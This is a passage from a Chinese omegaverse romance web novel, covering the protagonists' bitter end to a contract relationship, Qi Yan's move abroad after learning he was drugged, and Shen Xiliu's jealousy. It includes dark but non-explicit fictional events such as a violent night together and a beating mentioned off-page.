目前为止,他还没有见过沈溪流的舅舅,完全不知道对方长什么模样……应该不会和梦里的形象相似吧? 他们报出沈溪流发来的房间号,茶庄的工作人员领路进去,沿着回廊走,穿过小院,透过未关上的门窗,祁厌一眼看到沈溪流。 一身西装革履,面色沉静,脸色白皙,眼睫毛落下浅浅的阴影,左眼下方的三颗泪痣被衬得显眼,整个人透露出一股冷淡禁欲的气质。 对方也好似察觉到了,侧眸看过去,随即眼眸一弯,笑意盈盈地看着他们走过来,但很快,游弋两步上前,挡住他们对视的目光,沈溪流的眸光顿时微沉。 坐在沈溪流对面泡茶的人,身着复古风的中式对襟开衫外搭,腰背挺直地坐于茶案前,一举一动优雅极具韵味,几乎与周围古色古香的环境融为一体,与身着西装的沈溪流共处一室时,显得有一种时空交错的美感。 见到这人,游弋才不管什么意境不意境,直接走过去,把头探进窗里,盯着正在泡茶的人,相当大声地说:“干嘛呢,干嘛呢,又在附庸风雅了?” 原本宁静美好的氛围,一瞬间就被打破,祁厌听得茶杯被轻轻碰撞出一声清脆。 下一秒,茶具被放下,一只修长白皙的优雅手掌伸出。 “啪!” 一巴掌重重扇到游弋的脑袋上,给他抽出窗。 “如果因为离家出走连礼仪都不要了,我不介意叫人把你丢到荒岛上,重塑一遍。”悠悠话语说出,语调平稳,节奏轻缓,却让人感觉危险。 “略!”游弋捂着头退回去,有些孩子气地对他吐舌,显摆着手里的扩音喇叭,“你要真这样对我,到时候就别怪我不客气,在沈氏旗下的所有公司,循环一百遍新编的歌曲!” 他这一退开,祁厌看清楚了那人的模样,顿时眼底闪现过一抹惊愕,但很快就被他收敛藏住。 祁厌其实记不清楚梦里大多数人的脸,包括沈溪流的舅舅,但偏偏这人拥有一个让人难以忽视的特征——这位长辈拥有着一双独特而神圣庄严的金色重瞳。 “爸,我劝你对我客气一点,要不然我真的可以找一大堆人天天给你循环骚扰,本是同根生,相煎何太急……” 那边游弋还在逼逼叨叨个不停,沈溪流已经拉着祁厌坐到旁边,游弋直接趴到沈家主的椅子上进行骚扰,正在挑战他的耐心,试图将那副平静的面具打破。 “试试看,这里的茶味道不错。”沈溪流把舅舅刚才沏好的茶递给祁厌,嘴角带着浅浅的笑意,完全看不出是会安排人跟踪他的模样。 祁厌的左手还插在兜里,摩挲着手机:“不用管对面吗?” “不用,舅舅的忍耐度有限,你可以放轻松。”沈溪流好像看出他的紧张,含笑道,“舅舅不是多管闲事的人,不会做什么的,不用担心见家长这方面的问题……” “咳。”祁厌轻轻咳嗽一声,确实,沈家主的注意力完全被自家糟心的小破孩吸引过去。 见到祁厌,也只来得及微笑着点点头,正要开口打招呼,就被游弋给扯走注意力,缠住不放。 一直到忍耐达到极限,沈家主轻轻打了个响指,游弋还没反应过来,就被一旁的保镖擒住,捂住嘴巴,抢过喇叭,直接给拖拽下去。 这样的画面很有古代封建大家,令下人把游弋拖出去棍棒伺候的即视感。 沈家主终于恢复冷静,重新将目光投到祁厌身上,上下打量几眼,诡异却熠熠生辉的金色重瞳,显得太神秘又慑人心魄,仿佛能够看透人心,在他面前,一切都无所遁形。 但还没等祁厌紧张起来,就听见他轻轻一声叹气,说:“和我的白痴儿子,这边这个神经外甥做朋友,还有实验室那个研究狂魔,真是辛苦你了,祁厌。” “!”祁厌差点被茶呛到,条件反射说道,“不辛苦,应该的!” “呵。”沈家主闻言,轻轻笑了一声,“真是个谦虚的孩子。” 祁厌发现这位长辈对他的好感度还挺高,随口和他闲聊了几句,就不再多问,连一旁时刻注意着的沈溪流,都无需帮祁厌岔开话题。 但安静的聊天没有持续多久,隔壁突然响起洪亮的喇叭声,和街边卖水果的撕心裂肺叫卖声没有区别,高吼着:“重瞳本是无敌路,何须再踩他人骨,沈云卿,你听见了没……”① 在各种解救自己的办法中,游弋选择了坑爹的中二且神经病的操作! “当啷!”茶杯被重重放下,向来喜怒不形于色的沈家主微笑道:“失礼了,我先处理一下家事。” 不一会儿,隔壁果不其然传来惨叫声。 祁厌喝了口茶:“……游弋的胆子,一直这么肥的吗?”对一个有着重瞳的人,吼着网络经典名句,听起来就是个中二病很严重的样子。 “习惯了就好。”沈溪流说,“三天不被打一下,他就不舒服。” 对于中二病的人来说,重瞳的确很酷很帅,但其实对于沈家主来说,还是有些烦恼的,比如说他的眼睛比寻常人更加畏光,容易震颤…… “这种行为听起来好像很过分。” “还好,舅舅说只是小时候讨厌特殊性,习惯了反倒是挺欣赏自己的眼睛,虽然偶尔在生活上会遇到些苦恼问题……” 祁厌默默点头,那就算是一脉相承了。 在这样的氛围下,好像有些难以质问跟踪问题,还是等回家再说吧。 那双金色重瞳真特殊,硬是让他想起许多该忘记的模糊事情,祁厌记得,在那漫长的梦境中,他只见过三次,每一次都是梦境的重要转折点,以至于忘掉很多东西,都无法忘掉金色的重瞳…… 梦境与现实好像截然相反,祁厌垂眸盯着沈溪流偷偷牵过来的手指,指尖划过掌心,慢慢地穿过他的指缝,试图和他十指紧扣。 沈溪流听着隔壁还没有停下的声音,将脸凑向前,带着羞赧的神情,小声问他:“祁厌,可以接吻吗?” 他好像很喜欢接吻,越亲密纠缠,沈溪流越喜欢。有时候宁可亲得喘不过气,泪水顺着眼角流下,也不想停止,好像只有这样才能感受到对方的存在。 …… ………… “是你把易扬的手和腿打断了?” 七点多进入沈溪流的房子里,外面的天色昏暗,屋内没开灯。祁厌刚走过去,坐在靠窗边沙发的人声音响起,有些冰冷僵硬,大概是因为想要质问他吧。 祁厌抬起眼眸,瞥向那道漆黑森冷的身影,漫不经心地开口:“诶?易扬的手和腿居然被打断了吗?真是喜闻乐见的消息,让人高兴到想要开一瓶香槟庆祝呢。” 他的语气带着敷衍的惊讶口吻。 “不过没有证据的事情,沈先生还是别乱污蔑别人,我可不想飞来横祸,还要自证清白。”祁厌笑吟吟地说着。 坐在那边的人身形好像更加阴冷了,黯淡的空间里,紧盯着祁厌的眼眸浮现不悦,变得比以往更加锐利。 “祁厌……需要我提醒你,现在还在合同期间吗?有些事情是不能做的。” “所以呢?”祁厌反问道,“我做了什么事情,违背合同了吗?” 之前监视的人已经被抓住,有了一次经验,祁厌不会再掉进去第二次。 你可以肆意派人监视,但我也不会随便坐等。 祁厌现在没了之前的耐心,说起话来,比以前更加锋利,丝毫不见以前的温柔缱绻模样,倒是那双桃花眼依然深情款款。 “沈先生,你总不能因为自己心疼易扬,就胡乱甩锅,欺负我这个可怜人吧?我们只是签订合同,又不是签了卖身契,尊重一下乙方不行吗?” 他笑着摆了摆手,还缠着绷带:“而且,你瞧,我的手,还没好呢,哪有闲工夫去找别人麻烦。” “……” 目光落在祁厌的右手,沈溪流的话戛然而止。 第73章 前世 结束这一切 谈话还没继续进行下去, 祁厌的手机响了,是与以往不同的独特铃声,他看都没看, 第一时间接起电话。 “喂,怎么了?” 打电话过来的是江与青, 祁厌的话刚说出口, 他的声音就吼了过来:“你还问我怎么了?我就说你这家伙这段时间怎么总找借口敷衍我,你的手到底是怎么回事?要不是今天遇到张衡一,你该不会还打算瞒着我吧?” 这段时间, 一直忙着处理江家在国内的业务,江与青很忙,并不知道他们遇到了什么, 偶尔约祁厌一两次, 都被对方拒绝了。因为太忙了,也就没放在心上,毕竟都是成年人,各自都有各自的生活。 结果没想到,祁厌的手居然受伤了。 江与青的声音刚响起,祁厌就第一时间把手机拿远, 语气颇为无奈:“一件小事而已, 别这么生气好吗?生气伤身, 你现在最好控制一下情绪。” “你管这叫小事?去医院检查过了吗?医生怎么说?不会影响到你调酒吧?我听徐哥说, 你下个月还有一场比赛?这还能参加吗……”一连好多问题抛过来, 江与青的语气很着急。 “去医院检查过了,医生也没怎么说,大概会影响吧。下个月的比赛,我不打算参加了……” 祁厌没看坐在沙发处不动的人, 径直朝着自己的房间走去,很有耐心地一个个回答,打开房间的灯光,又将门关上,阻隔了光束和声音。 外面的天色越来越暗了,沈溪流垂眸盯着自己的手,无意识地攥紧,指尖陷入掌心,留下印记。 他清楚地感觉到,有一股无名火在心间流动着,想要发泄,却又无处可发泄,比以往更盛更烈。omega就是这样愚蠢的生物,总是容易被标记影响,产生各种负面情绪。 沈溪流伸手取过放置在桌面的牛皮袋,上面放着一张支票,轻轻对半撕开,弄成碎片,尽数丢进垃圾桶里。 桌上的手机亮起白光,他瞥了一眼,是沈湘婷发来的信息,没有搭理。 沈溪流拿起袋子,一边解开线,一边走向书房,打开里面的灯光,取出所有资料,丢进销毁机里面。 这个世界没有完美犯罪,凡是发生过必有痕迹。 但只要当事人不去报警,所有证据都被销毁,就算完事了。 …… 江与青在国内的事情已经处理结束,过两天就要出国,他还得去医院检查一番身体状况,祁厌思忖半晌,正好这两天也能结束合同,便问对方,自己能不能跟着过去。 “可以啊,想来就来嘛,我是明天早上七点的飞机,你什么时候过去?到时候我给你安排一下。” 江与青想了想,说道:“正好我刚从一个朋友口中得知,有个医生很擅长这方面的治疗,到时候你顺便过去看看吧,说不定可以给你治好手,免得留下什么残疾。” 他还不知道祁厌的手伤有多严重,仍然抱着希望,听说这个医生很难约到,但江与青已经想好了,到时候就算是拿钱收买,都得让那个医生给祁厌治疗一下,对于调酒师来说,他的手太重要了。 “其实没必要,我已经去医院看过……” “既然你要过来,那就必须去看,不多说了,我先去找关系联系医生。” 江与青说完,啪地断掉电话,这独断独行的性格,和顾燕行真的一个德行。祁厌无法,低头盯着缠绕绷带的手,觉得希望不大,也没打电话回去,破坏江与青的心情。 就是觉得之后有点不好交代。 “马上就可以结束了,继续收拾吧。”祁厌的目光始终落在自己的右手上,这两天的手伤好了一些,他私底下在家里尝试过调酒,结果搞得一塌糊涂,非常糟糕。 从手指到手掌连着手臂都在颤抖,一杯酒调得乱七八糟,动作难看不说,酒的味道也相当奇怪,祁厌这辈子都没调过这么难喝的酒。 但又不想就这么放弃,或许心底多多少少都会有点期盼奇迹的存在吧。 江与青说得这么坚定,他没有第一时间坚决拒绝时。祁厌就知道,他的内心还没有真正放弃。 收回目光,他起身,房间里的东西已经空了大半。祁厌继续收拾行李,装了有两个行李箱,依然没有装完,不要的东西,他准备直接丢掉。 触及衣柜里那一大堆同款不同色的衣服,直接忽略,沈溪流赔偿的,他不打算带走,这不属于他。 之前放在外面的调酒器具,祁厌打算带走,那是他自己买的。 处理完屋内的东西,他拖着一个行李箱出去,准备把东西放进行李箱。外面开了朦胧的夜灯,沈溪流仍然坐在沙发上,听到轮子滚动的声音,耳朵微动,下意识抬眼朝他看去。 这一看,沈溪流嘴唇紧抿,连眼角眉梢都跟着下压,浑身散发着低气压,连周围的空气都充斥着不快的意味,看着就是相当不好得罪的人。 祁厌忙着收拾东西,没心思和他闲聊,发生这么多事情,两人的关系太恶劣了。即使表面没有撕破脸皮,但祁厌觉得他们两个应该是心照不宣。 如果是什么都不知道的时候,祁厌倒是愿意哄对方,无论是当作喜欢的人,还是客人,但当知道所有事情以后,就没有那个心情。 沈溪流毕竟帮过夏云惬,也帮过他太多忙,这一点不能忘记。 而且仔细说起来,做错的人是他。沈溪流是个旁观者,什么都没有做,又什么都做了…… 看着他低头,沉默寡言地收拾东西。沈溪流眉头刚蹙下,慢一拍地反应过来,这场交易马上就要结束了。 本就微妙的心情顿时变得更加糟糕了。 还有两天,只剩下两天,他们就不用继续这样僵持,他也可以摆脱信息素的控制…… “你不用这样盯着我,不该碰的东西,我不会碰。” 祁厌现在对视线太过于敏感,被沈溪流盯得有些闹心。 沈溪流听着这冷淡的语气,满脑子都是他刚才打电话时的温声细语。 所以即使知道自己的情绪是受到信息素影响,沈溪流也无法控制恶劣的语气:“那可未必,总有些人的行为逻辑,与自己所说的不一样。” 太烦躁了,好像积压许久的心情都在一瞬间达到极点,沈溪流没忍住讥讽对方,明知道祁厌不是这种人,但他依然失去控制地用言语攻击着他。 明知道不该,可一旦对视上那双仿佛在看着陌生人的眼睛,他就烦躁不已,好像继续这样下去,每一瞬间都是煎熬。 “一想到还要和你这种人继续待两天,真是糟糕透顶。”沈溪流嗤笑一声,心底怄火,“真想今天就结束了。” 其实已经差不多可以结束了,多两天少两天没有任何区别。 沈溪流漫不经心地对着他说:“……我现在的情况已经差不多稳定,看在你那张脸的份上,给你个机会吧。要是能在今晚把你买的那些东西都用完,后面两天也不用继续待着了,早点做完早点结束……” 只是想挑衅祁厌而已。 所以才没压住愤怒的情绪,故意这样说道。 但盯着他那满是嘲讽的表情,祁厌想起沈溪流已经稳定的检查报告,点头同意了:“……行,那就按你说的来办。” 他直接上前把沈溪流从沙发拽下来,拉到房间里。 这是一个很糟糕的夜晚,没有任何情欲,完全凭借着本能地做,甚至将沈溪流气到失去风度,没忍住在做这种事情的时候,怒骂他。 但又全然反抗不了祁厌,omega对上alpha,又处于特殊状况中,完全处于下风,专门定制的西装平时穿着很舒适,但在床上的时候就变成专门束缚四肢的绳子,动弹不得。 和以前完全不一样,这次对身体和心理只是一种残酷的折磨。一种姿势维持久了,四肢开始变得酸涩,就连身体也变得难受,好像有无数根密密麻麻的针刺着的疼痛。 这不是治疗,更像是一场残酷的暴行。 偏偏沈溪流不愿意认输,死死咬着下唇,不肯发出声音,祁厌也一声不吭,两人好似在较劲,又像是在发泄藏了许久的愤怒。 一直到把盒子里的东西全部用完,沈溪流已经昏迷过去,祁厌也浑身难受,右手的伤口好像扯破了,绷带变得粘腻,流出的血蹭到沈溪流腰间被扯出的衬衫。 天色由黑转蒙蒙亮,以往沈溪流如果被做到昏迷了,祁厌一般会给对方擦拭,送他回自己房间,但现在毫无心情和怜悯。 他看了一眼时间,估计还能赶得上江与青说的那趟飞机,于是起身,随手给沈溪流拉着被子盖住,微微活动一下僵硬的四肢,穿好衣服,头也不回地走出房间。 洗澡换衣,拿好行李,丢掉钥匙,祁厌彻底离开了这个房子。 外面的空气还有些凉飕飕,但祁厌心底却有一种说不出的快意,好像一直以来困扰在心间的烦恼被丢掉,回归以前的自由状态。 总算结束这一切了。 挺好。 但祁厌心底也有着一种迷茫的感觉,好像无处可去一样,这段时间经历太多,也失去太多,怎么可能真的回归以前的状态。 死去的人说不定正在盯着他…… 祁厌拍了拍眩晕的头,脱离阴郁的状态。 做了一个晚上,他的身体相当疲惫,精神状态也不佳。 祁厌用手机给江与青发了条信息,让对方帮忙订一张机票,准备和他一起出国。 第74章 前世 报应 “你额头怎么受伤了?” 刚赶到机场, 江与青就注意到祁厌额头上新鲜的伤口,又看了看他重新包扎的右手,有些无语, 头疼地说:“啊,真是的, 你们alpha就不能小心点, 别过得这么粗糙吗?!” 祁厌没放在心上:“只是一道小伤口,不用这么在意。” 江与青不赞同,摸了半天, 才从兜里取出创可贴,递给祁厌:“时间紧迫,先将就用用吧, 等下了飞机, 再去医院,难得这么帅的脸,千万不能毁容了!” 祁厌盯着他递过来的粉色猫猫头创可贴,问:“能不用吗?” “当然不行!”江与青拒绝,“快点,赶飞机呢。顾燕行都贴过, 你怕什么?别这么大A主义, 而且你是不是一晚上没睡?黑眼圈这么重!天呐, 颜值都下降好多分, 我的眼睛不想直视你的脸了, 这对我来说是一种伤害!你们alpha难道就没有一点正常审美的吗?起码注重一下脸蛋吧……” 祁厌:“……别说了,我贴!” 听着江与青喋喋不休地抱怨,祁厌觉得自己最好老实一点。 上了飞机,江与青还在痛苦抱怨, 一路从他说到顾燕行,绕了一圈又说回来,等反应过来以后,祁厌已经坐着睡着了。 “……真是一个比一个不省心。”江与青看着秒睡的祁厌,让空姐给他拿了张毯子。 江与青觉得自己这段时间过得不好,但祁厌的状态也好不到哪里去,某个程度上来说,甚至比他更糟糕,也不知道遇到些什么,询问张衡一,那个哑巴却憋不出几句话…… 飞机起飞前,江与青习惯性先打开邮件看了一眼。结果,助理刚发过来的信息让他一怔,不是,他们这才要过去,那个医疗团队怎么朝着国内出发了?!! …… 沈家老宅。 游弋挖着冰淇淋往嘴里喂,腿上拖着个一两岁左右的小崽子,正慢吞吞窗边走来走去,目光时不时滑过靠在沙发上闭目养神的人。 沈溪流脸色苍白,嘴唇也泛白,气质比以往更加冷漠,仿佛就这么几天,一下子就打回原形,和以前病弱的时候没两样。 游弋挖了一勺冰淇淋,往抱着他小腿的小崽子嘴里喂了一口,相当委婉地开口问道:“你……身体还好吧?” 这脸色看起来像是快要去世的人才拥有的。 沈溪流睁开眼睛,冷飕飕地说:“你不能换个地方散步吗?” 非要在他面前走来走去,真碍事。 “你这么凶做什么!我也只是关心你。”游弋一撇嘴,拎起嗷嗷待哺的小孩,一起坐到沙发上,你一小口我一大口地分吃冰淇淋,“这么凶,小心吓到孩子。” “呵。”沈溪流冷笑一声,“那还真是谢谢你的关心。” 他的心情糟糕透顶,周身气压极低,手掌时不时落在小腹处,现在还能感觉到隐隐作痛,顿时心里的闷气愈重。 没办法不生气吧?沈溪流昨日醒来之时,天都黑了,他这辈子第一次经历这么糟糕的事情,浑身难受地爬起床,没有哪里是舒服的,下床的时候,甚至脚软地摔了一跤,把膝盖都给撞破了。 膝盖和身体疼得要死,沈溪流太生气,也太难受,心间涌动着说不清道不明的酸涩情绪,手背轻轻贴着脸,挡住眼睛,不断地深呼吸。 他这辈子都没遇到这种该死的事情过!现在这样,全拜祁厌所赐! 漆黑的房间有些冰冷,昨晚留下的气息已经全部消散,沈溪流不知道怎么形容现在的心情,只知道自己气得要死。 这股情绪催促着他,导致沈溪流甚至想要派人把祁厌给抓回来,但终究什么都没有做,他靠在床边失神许久,才缓慢地起身洗澡。 小腹深处有一股莫名的刺痛感,大概是生殖腔的位置,有些隐晦难堪的部位,过了许久仍然没有恢复,刺痛逐渐转为闷痛。 因为那种尴尬事情而导致的,所以沈溪流没有脸面叫来私人医生,而是选择自己去医院检查。 ——“你的alpha没有陪你过来吗?” ——“情况,可能不是很好。” 医生尽量委婉的话语现在还在脑海里回响,沈溪流越想越烦躁,甚至不敢回忆那天晚上的一切,连呼吸都变得沉重许多,搁在沙发上的手背忽然贴着一个柔软的东西。 “酥……叔,陪偶玩啊!”软乎乎的声音响起。 沈溪流下意识低头看过去,刚才还被游弋抱着玩的小孩不知道什么时候爬了过来,一拱一拱地朝他贴近,胖乎乎的脸蛋搭在他的手背上,像一团甜滋滋的白软汤圆,睁着圆溜溜的大眼睛,眨巴眨巴地望着他。 “……把他抱走。”沈溪流深吸口气,闭了闭眼。让游弋把小孩抱走,他太烦了,只能控制着音量,避免吓到小孩。 “切!”游弋一撇嘴,伸手抱娃,“这么可爱的宝宝都不能让你心慈手软陪他玩啊!” 看样子,沈溪流这铁石心肠的omega,这辈子都不可能生个娃娃给他玩了。 “别乱用成语。”沈溪流说。 游弋选择性忽视:“我听说,你花了不少钱,从国外把威尔逊医生的团队都给请过来了?是想给他……” “沈游弋。”沈溪流的眼神变得冷峻,紧盯着游弋,警告道,“少管闲事。” 请了又怎么样,压根用不上。 他今早已经得到消息,祁厌跟着江与青出国了。就算他没请,江与青也会帮祁厌请医生看,早知道会这样,倒不如别浪费这么多工夫…… 气氛一下子降温,沈溪流的表情更加难看,被抱在怀里的小孩一脸茫然地看着他们:“啊?” “别用这样的眼神看我。”游弋笑笑,低头掐着娃娃胖乎乎的脸。 沈湘婷打沈溪流的电话打不通,又来打他的电话,明显有些生气,沈溪流为什么不准他们报警?害得易扬现在还在医院里躺着,罪魁祸首却不知道跑哪去了。 连续听她抱怨很久的游弋理清楚关系链后,感觉真麻烦,沈溪流什么时候愿意在别人身上花这么多工夫了? “我也不算多管闲事,只是想说,你最好多说点人话,别总是摆着一张冷脸,很不受欢迎的。”在意就是要说出来,人长了一张嘴,不光是为了吃饭,也是为了说话。 明明他都看出来了,沈溪流却仿佛没有意识到一样。 “我可是知道,大多数alpha都喜欢性格温柔、善解人意又漂亮的omega。就算这些美好的词汇和你没关系,但好歹装一装吧。参考人物就不说别人,光说我们家的吧,二表哥多聪明啊,刚成年就抓住机会闪婚闪孕,解决人生大事。” 游弋指着怀里的小孩:“喏,如今连最稀罕的cp周边都诞生了。” 行动力强的人,从来不缺机会。 “嗷呜!”胖乎乎的小孩一口想咬他的手指,游弋撤手,抱起他走人。 “我去找他爹爸去了,有事没事,建议你也可以去找二表哥聊聊,看看人家多么厉害,强者从不抱怨。” 沈溪流:“……” 烦恼一点没少,反而被游弋添乱了。 …… “这到底是怎么一回事?” 在私人医院里做完检查后,江与青的情况一切正常,反倒是祁厌的情况不太妙。 他没跟进去,但看到报告的时候,忍不住倒吸一口气:“为什么你的手伤这么严重?” 简直就是触目惊心! “没什么,就是那天晚上有人来捣乱,为了阻止对方,所以不小心受伤了。”祁厌云淡风轻地说着,甚至还在翻书,速记英语单词,“你的心情浮动别这么大,对身体和宝宝都不好。” “我的身体好得很,现在是你的手的问题!”江与青有些生气,“你应该早点告诉我的!不行,我再打几个电话,必须得让对方给你治疗试试!” 上飞机的时候,他就得知那个医疗团队和他们擦肩而过了,现在看来,还得继续联系,询问一下什么时候能够回来。 “别着急,就算治疗不了,也没什么大事,反正我已经打算换个工作。”祁厌笑得很平静,人又不是只有一条路走。 “你少说一句话,换工作之前,先来给我当秘书吧。之前可不是瞎说,助理我已经有两个,秘书还在招,我最近忙得要死,你来得倒是刚刚好。”江与青给他翻了个白眼,打着电话往外走。 等他走后,祁厌缓慢地翻开书里折叠起来的一张报告,看着上面的一行行字,下意识摸了摸自己的后颈。 “这下子,是真的‘报应’来了。” 不过这报应是人为的。 祁厌仔细地回想着过去的每一幕,沈溪流是不可能做这种事情,毕竟对他没有一点好处,甚至会产生坏处。 易扬有机会,但没有不被发现的脑子和能力,真正谋划算计的人,应该是易鸿立。也只有他能拿到那种被官方管制的特殊药剂,并且瞒过所有人,把药剂用到他身上。 难怪这段时间身体变差了这么多,原来都是药物的影响。祁厌看到报告以后,才恍然大悟,明白过来。 该愤怒、恐惧吗?好像没有,一点意外的情绪都没有,甚至可能有那么一点……高兴? “顾燕行,现在我倒是能理解你的选择了。”奇怪的赎罪感救了他,祁厌笑笑,将报告重新折叠好,藏回去。 江与青被手伤的报告吸引住注意力,肯定发现不了这份报告,真庆幸现在的翻译机器越来越好,能让他和医生的交流顺畅,没有被江与青知道这件事情。 希望能够一直瞒下去吧。 江家的事情很麻烦,江与青又怀孕,最好少操劳一些,他现在只想尽力帮助对方,少给别人添麻烦。 第75章 前世 嫉妒使人疯狂 合同最后的一笔金额到账了, 远比之前说好的多了五百万。 祁厌不知道沈溪流是什么意思,考虑半晌后,将合同的钱全部打入顾燕行留给江与青的账户里, 剩余的五百万并不打算碰。 江与青之前说让他做秘书,并不是在开玩笑, 祁厌这段时间一边治疗手伤, 一边忙着学习。江家太过于复杂,以前的江与青对掌权没有兴趣,专心于搞自己的事业, 但如今想要获得更多话语权,必须做出实际成绩。 祁厌来得其实很是时候,毕竟有能力的人好找, 而有能力又能够百分百信任的人太难找了。 “突然感觉你好适合做秘书啊。”江与青观察了一段时间后, 有些感慨,“虽然现在语言还有些不通,但是工作能力是真的很强……” 大概是在酒吧那种鱼龙混杂的地方混久了,祁厌处理起秘书的工作,在江与青看来相当轻松。原本是担心他因为语言而导致沟通不顺,所以特意让祁厌交接国内外的一些事务, 江与青甚至安排了助理来带他。 现在回头一看, 江与青发现祁厌和小的时候, 依然没有太大的变化, 无论是接受能力还是适应能力都依然相当出色。 “应该说厉害的人是你吧?连我都敢用。”祁厌倒是觉得江与青更神奇, 说让他做秘书,就真让他做秘书。 无论是日常事务处理还是工作安排什么的都全部丢给他,甚至连国内外的一些重要事情都敢让他对接,胆子挺大。 别忘了, 他是个连大学都没有上过的人。 要是放在国内,祁厌连面试都进不去,作为敲门砖的简历刚送上去,就被人丢垃圾桶里的那种。 “这有什么,厉害的人,从来不缺机会。你的工作能力很强,只要上手了,根本不用担心。”江与青很平静,正在翻时尚杂志,“我不会在国外待太久,我真正想要拿下的是江家在国内的势力,有些人该付出他应有的代价,这辈子都别想爬起来。” 不能轻易动手,毕竟易家背后站着沈家,如果不能一次性让易家和易鸿立付出代价,接下来的麻烦会很大。 祁厌垂眸,他知道江与青的意思,他们所有人都是这样想,斩草要除根,不能给第二个机会。 “那……AriaNoir品牌呢?”祁厌问,“那是你这么多年的心血吧,如果你真的成为江家在国内的掌权人,你一手创立的品牌打算怎么办?” 背负太多的话,就没有那么多时间专心于自己喜欢的设计上面了。而江与青从小到大的梦想都是成为一名厉害的设计师,创立属于自己的品牌。 “那还久着呢,先把眼前的事情做好再说,而且从某种程度上来说,我的梦想已经实现。”江与青倒是不觉得有什么,只是想起一件事,“不过你倒是提醒我了!” 他上下打量着祁厌,笑盈盈地道:“哎,祁厌,你的外形真的很优越,以前怎么没想着去娱乐圈混混啊?国内这圈子来钱不是挺快吗?” “哪有这个机会,宋意礼一天天派人盯着我,生怕我压她儿子一头,真进去了,估计还有一大堆陷阱等着我跳。”祁厌随口说道,明明是一件很糟糕的事情,但从他的口吻听不出一点在意。 江与青眼底闪过一抹嫌恶,表情不悦:“……呵,那还真是庆幸她死得早。” 他们不去谈宋意礼是怎么死的,避免谈到某个人。 江与青继续笑说:“以前没那个机会,现在就当帮我个忙吧。不用担心,只是模特罢了,而且时薪相当高,你可别错过这个机会。” 原本祁厌还在想他为什么突然提到这方面,听到最后一句,大概就知道了。 江与青应该是怕他没钱了,心理负担太大,所以在想办法给他创造赚钱的机会。 毕竟国外消费高,给祁厌治疗手伤的医疗团队更是一笔天文数字,完全是现在的祁厌无法承担得起。 尽管是江与青强行给他安排的,但是祁厌不可能心安理得地任由别人给他花钱治疗手伤。 所以这段时间才会日夜不休地去学习、提升自己的能力,这是想办法帮助江与青减轻负担,这不仅是对朋友的关心,对死者的愧疚,也是想要偿还恩情。 江与青很清楚这一切,他不会刻意戳穿,朋友与朋友之间的相处,是需要好好维护。所以会创造机会,让他归还人情,这样两人才能心安理得地相处下去。 “江家本家真是超级麻烦,总是喜欢讲一些没用的规矩,估计接下来还有很多事情需要你帮助。”江与青叹了口气,有些头疼,“真的感激你这次陪着我回来了,要不然有些事情,真的找不到适合的人帮忙!” 江与青抱怨道:“我爷爷也真是够奇葩的,居然想要一个孕夫去相亲,这不是结亲,而是结仇吧?” 祁厌:“……” 江与青笑着说了一个地狱笑话:“顾燕行得感激你的存在了,要不然他死了都得戴顶绿帽子。毕竟但凡换个alpha,他死也不安心。” 祁厌:“……” 忽然又觉得背后发凉,有种毛骨悚然的感觉。 …… 从沈湘婷处得知某件事情,游弋没忍住翻出手机,还在宴会上就躲到阳台去吹风偷看。 那是一组很华丽奢靡到极致的照片,极具视觉冲击力。 红色为主色调,搭配黑色、金色营造出纸醉金迷的享乐奢侈意味,光影结合,潜藏着诱人的欲望,美丽的女omega坐在alpha的腿上,带着白色手套的修长手指轻轻揽着她的腰,充满占有欲。 俊美的alpha的桃花眼几乎摄人心魄,诉说着浓郁深情的爱意,妖艳的红玫瑰置于唇边,遮掩住爱语。他身着的酒红色衬衫半遮半掩,裸露出大片冷白色的性感肌理,线条明显流畅。 黑色领带歪斜地绑在修长脖子上,而非衬衫,黑与白的极致对比,一端落入衬衫里,充满蛊惑的魅力,更让人想要一探究竟…… “你在看什么?” 熟悉的声音冷不丁地响起,把游弋吓了一跳,下意识地藏起手机:“没看什么!” 对视上沈溪流冰冷的视线,联想到刚才那张照片里的alpha曾经和沈溪流的关系,他有些心虚地转移话题:“表哥,你怎么出来了?” 沈溪流没有说话,唇角勾着嘲讽的笑意:“你转移话题的技巧太差了,我的视力不错。” 阳台外面很黑,那张照片足够耀眼夺目,视力不错的沈溪流一眼就捕捉到了,所以才没忍住出声。 “啊?那你就是看见了呗?”游弋一惊,嘟囔着说道,“既然看见了,干嘛还问我在看什么,还用这么吓人的眼神……” 他的话越说越弱,不敢与沈溪流对视。 但沈家人是一脉相承的叛逆,他抓了抓头发,拿出手机,放出那些照片,快速说道:“喏,我就是随便看了这组照片,就AN最新发布的,拍得挺好看吧?” 目光落在那一张张照片上,沈溪流的表情更加冷峻,有些不适地皱下眉头,试图转移视线,却又移不动,于是一股无名火越烧越烈,几乎让他想要失态地打翻游弋的手机。 “拿走!”他终究压住那股冲动,冷声说道。 游弋撇了撇嘴,收回手机,看着他难看的脸色:“你明明就在意的要死,干嘛非得维持着这副冷漠清高的模样,装给谁看呢……” 他甩下这句话,就一溜烟跑进宴会里,犹豫一下,还是找到二表哥,凑到他身边,伸出手指朝着阳台指了指,和他低声说了几句。 二表哥对游弋比了个OK的手势,把抱着大腿的小孩交给他,端着两杯酒,往阳台走去。 “聊聊?” 还在吹冷风的沈溪流听到他的声音,看了一眼,沉默地接过二表哥递过来的酒,却没有喝。 “你最近的心情看起来很糟糕。”二表哥并不在意,将手搁在护栏上,“喝点酒,心情会好很多。” 沈溪流垂眸盯着那杯酒,越看越来气:“不想喝。” 上次不就是喝醉了,所以才连被人做了什么都不知道。 心底憋着气,沈溪流厌恶被别人操控情绪的自己,明明现在应该已经脱离假性标记的控制了,可是依然无法不在意。 不敢去想,不敢去思考,下意识地回避所有与他有关的事情,好像只有这样才能坚定自己没有错,可是又真的能够无视一切吗? 光是看到那组照片,他就……气得要死! 已经到达无法无视的地步了。 再想忽视也不行,积压许久的情绪快要爆发了,即使是用药物也压不下去的那种,脖子上的信息素抑制颈环在收紧,仿佛连呼吸都变得困难。 沈溪流捏紧酒杯,手指有些颤抖,良久才缓慢开口道:“……你为什么会和他在一起?我记得,你以前最讨……厌alpha。” 别问。 不该问的。 不可以意识到,可是还是压不住那股冲动,问出口了。 而且连说个讨厌,都避不开他的名字。 祁厌可真会取名! “当然是喜欢他啊。”二表哥不用沈溪流说清楚,就知道他在问什么。 酒杯被轻轻搁下,他双手撑在护栏上,吹着风极目远眺,理所当然地说:“讨厌alpha归讨厌alpha,但他可是这个世上,我最喜欢的人!” “对喜欢的人例外,偏爱,是很正常的事情。” 沈溪流垂着眼眸:“你是怎么察觉到的?” 